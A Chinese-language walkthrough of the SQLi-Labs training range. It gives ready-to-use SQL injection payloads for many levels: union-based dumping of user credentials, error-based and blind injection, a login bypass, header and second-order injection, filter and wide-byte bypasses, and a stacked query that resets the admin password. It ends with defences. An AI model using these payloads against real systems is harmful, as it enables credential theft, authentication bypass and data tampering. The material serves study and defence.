1. SQL注入实战全解析:从入门到精通
作为一名长期从事Web安全研究的从业者,我深知SQL注入是Web应用中最常见也最危险的漏洞之一。今天我将通过一个完整的SQL注入实验环境(SQLi-Labs),带大家深入理解各种SQL注入手法的原理和实战技巧。
1.1 实验环境概述
SQLi-Labs是一个专门用于学习SQL注入的开源靶场,包含了从基础到高级的多种注入场景。这个环境模拟了不同类型的SQL注入漏洞,帮助我们掌握识别和利用这些漏洞的方法。
在开始之前,我们需要明确几个关键概念:
- SQL注入是通过将恶意SQL代码插入到输入参数中,欺骗服务器执行非预期SQL命令的攻击方式
- 注入点可能出现在GET/POST参数、HTTP头、Cookie等任何与数据库交互的地方
- 不同类型的注入需要不同的利用手法(联合查询、报错注入、布尔盲注、时间盲注等)
2. 基础注入手法详解
2.1 字符型注入(Less-1)
第一关展示了最基础的字符型注入漏洞。关键代码片段如下:
php复制$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
漏洞分析:
- 用户输入的
$id直接被拼接到SQL语句中,没有任何过滤或参数化处理 - 使用单引号包裹变量,形成了字符型注入点
利用步骤:
- 判断注入类型:
sql复制?id=1 and 1=1 -- 数字型测试
?id=1' and 1=1 --+ -- 字符型测试
通过观察页面响应差异,可以确认是字符型注入(单引号闭合)
- 确定字段数:
sql复制?id=1' order by 3--+
通过不断增加order by后的数字,直到页面报错,可以确定查询返回的字段数
- 获取数据库信息:
sql复制?id=-1' union select 1,version(),database()--+
这里使用union select联合查询,注意:
- 前一个查询需要返回空结果(使用不存在的id值如-1)
- 字段数必须匹配原查询
- version()获取数据库版本,database()获取当前数据库名
- 提取表信息:
sql复制?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
通过information_schema系统数据库获取所有表名
- 提取字段信息:
sql复制?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
- 获取最终数据:
sql复制?id=-1' union select 1,(select group_concat(username,'~',password) from security.users),3--+
关键技巧:group_concat()函数将多行结果合并为一行,比concat()更适合数据提取
2.2 数字型注入(Less-2)
第二关与第一关类似,但注入点是数字型:
php复制$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
利用差异:
- 不需要单引号闭合
- 所有payload去掉单引号即可,例如:
sql复制?id=-1 union select 1,version(),database()--+
2.3 其他闭合方式(Less-3/4)
第三关和第四关展示了不同的闭合方式:
Less-3:括号+单引号闭合
php复制$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
payload需要相应调整:
sql复制?id=-1') union select 1,version(),database()--+
Less-4:括号+双引号闭合
php复制$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
payload:
sql复制?id=-1") union select 1,version(),database()--+
3. 进阶注入技术
3.1 报错注入(Less-5)
第五关的特点是页面没有数据回显,但会显示SQL错误信息:
php复制if($row) {
echo 'You are in...........';
} else {
print_r(mysql_error());
}
利用方法:使用报错注入函数如updatexml()
sql复制?id=1' and updatexml(1,concat('~',database()),1)--+
原理分析:
updatexml()函数用于修改XML文档,但当xpath参数格式错误时会报错,并显示错误信息。我们利用这个特性,在第二个参数插入要查询的数据。
注意事项:
- 报错信息长度限制为32字符,对于长数据需要分段获取:
sql复制-- 使用substring
?id=1' and updatexml(1,concat('~',substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,30),'~'),1)--+
-- 使用limit分页
?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),1)--+
- 类似的报错函数还有extractvalue():
sql复制?id=1' and extractvalue(1,concat('~',database()))--+
3.2 布尔盲注(Less-8)
当页面没有数据回显也不显示错误信息,但会根据查询结果返回不同内容时,可以使用布尔盲注:
sql复制?id=1' and length(database())=8--+
通过观察页面返回是否正常,逐个字符猜测数据:
sql复制?id=1' and substring(database(),1,1)='s'--+
?id=1' and ascii(substring(database(),1,1))=115--+
优化技巧:
- 使用二分法快速缩小范围
- 结合Burp Suite的Intruder模块自动化测试
3.3 时间盲注(Less-9)
当页面无论查询成功与否都显示相同内容时,可以使用时间盲注:
sql复制?id=1' and if(length(database())=8,sleep(5),0)--+
原理:通过页面响应时间判断条件是否成立。如果条件为真,执行sleep()导致延迟。
注意事项:
- 需要准确测量基准响应时间
- 网络波动可能影响判断
- 可以结合if()函数构造复杂条件
4. 特殊场景注入技巧
4.1 POST表单注入(Less-11)
第11关是登录表单的POST请求注入:
php复制$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
利用方法:
- 用户名处构造payload,注释掉密码检查:
sql复制admin' or 1=1#
- 获取数据:
sql复制admin' union select database(),version()#
POST注入特点:
- 注释符号#需要直接使用,不能使用--+(因为POST数据不经过URL编码)
- 可能需要处理额外的CSRF token等防护机制
4.2 HTTP头注入(Less-18/19)
第18关是通过User-Agent头注入:
php复制$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
利用步骤:
- 正常登录获取有效会话
- 修改User-Agent头插入payload:
sql复制' or updatexml(1,concat('~',database()),1) or '1'='1
第19关类似,但注入点是Referer头。
关键点:
- 需要找到存储型注入点
- 注意闭合前后的引号保证语法正确
- 可能需要多次请求才能触发
4.3 二次注入(Less-24)
第24关展示了二次注入漏洞:
php复制$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'";
利用方法:
- 注册一个恶意用户名:
sql复制admin'#
- 使用该账号修改密码时,实际执行的SQL:
sql复制UPDATE users SET PASSWORD='newpass' where username='admin'#' and password='oldpass'
这样就能绕过原密码验证,直接修改admin密码。
防御要点:
- 所有用户输入都应视为不可信
- 即使数据来自数据库,使用时也应再次过滤
5. 绕过过滤的高级技巧
5.1 关键字过滤绕过(Less-25/26)
第25关过滤了OR和AND关键字:
php复制$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
绕过方法:
- 双写关键字:
sql复制OORr, ANANDD
- 使用符号替代:
sql复制|| 替代 OR, && 替代 AND
- 注释符分割:
sql复制OR/**/1=1
第26关增加了更多过滤:
php复制$id= preg_replace('/[\/\*]/',"", $id); // 过滤/*
$id= preg_replace('/[--]/',"", $id); // 过滤--
$id= preg_replace('/[#]/',"", $id); // 过滤#
$id= preg_replace('/[\s]/',"", $id); // 过滤空格
高级绕过:
- 使用括号代替空格:
sql复制?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))||'1'='1
- 使用特殊空白符:
sql复制%09 TAB, %0a 换行, %0c 换页
5.2 宽字节注入(Less-32/33)
第32关使用了addslashes转义特殊字符:
php复制function check_addslashes($string) {
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
绕过原理:
当数据库使用GBK等宽字符集时,转义符\(0x5c)可能与前一字符组成合法汉字,使后面的引号逃逸。
payload:
sql复制?id=0%df' union select 1,database(),3--+
解析过程:
- 输入%df'被转义为%df'
- 在GBK编码中%df\构成一个合法汉字
- 后面的'得以逃逸,形成注入
5.3 堆叠查询(Less-38)
第38关使用了mysqli_multi_query支持多条SQL语句:
php复制if (mysqli_multi_query($con1, $sql)) {
//...
}
利用方法:
sql复制?id=1';update users set password='hacked' where user='admin'--+
风险提示:
堆叠查询危害极大,可以执行任意SQL命令,但并非所有数据库驱动都支持。
6. 防御措施与最佳实践
6.1 参数化查询
最有效的防御方式是使用预处理语句:
php复制$stmt = $db->prepare("SELECT * FROM users WHERE id=?");
$stmt->bind_param("i", $id);
$stmt->execute();
6.2 输入验证
- 白名单验证:
php复制if(!preg_match('/^\d+$/', $id)) {
die("Invalid input");
}
- 类型强制转换:
php复制$id = (int)$_GET['id'];
6.3 其他防御措施
- 最小权限原则:数据库用户只赋予必要权限
- 错误处理:生产环境关闭错误回显
- WAF:作为纵深防御的一环
- 定期安全审计
7. 实战经验总结
- 注入点识别:
- 单引号触发错误
- 逻辑测试(and 1=1 / and 1=2)
- 延时测试(sleep(5))
- 数据提取技巧:
- 信息有限时优先获取当前数据库和用户
- 使用hex编码绕过特殊字符过滤
- 大数据分段获取(limit/substring)
- 工具辅助:
- Burp Suite手工测试
- sqlmap自动化利用
- 自定义脚本处理复杂场景
- 注意事项:
- 合法授权:只在授权范围内测试
- 数据备份:避免意外破坏
- 最小影响:使用SELECT优先于UPDATE/DELETE
通过SQLi-Labs的全套练习,我们系统掌握了从基础到高级的SQL注入技术。记住,这些知识应该仅用于安全研究和防御。在实际工作中,我们必须采取严格的防御措施,保护系统免受此类攻击。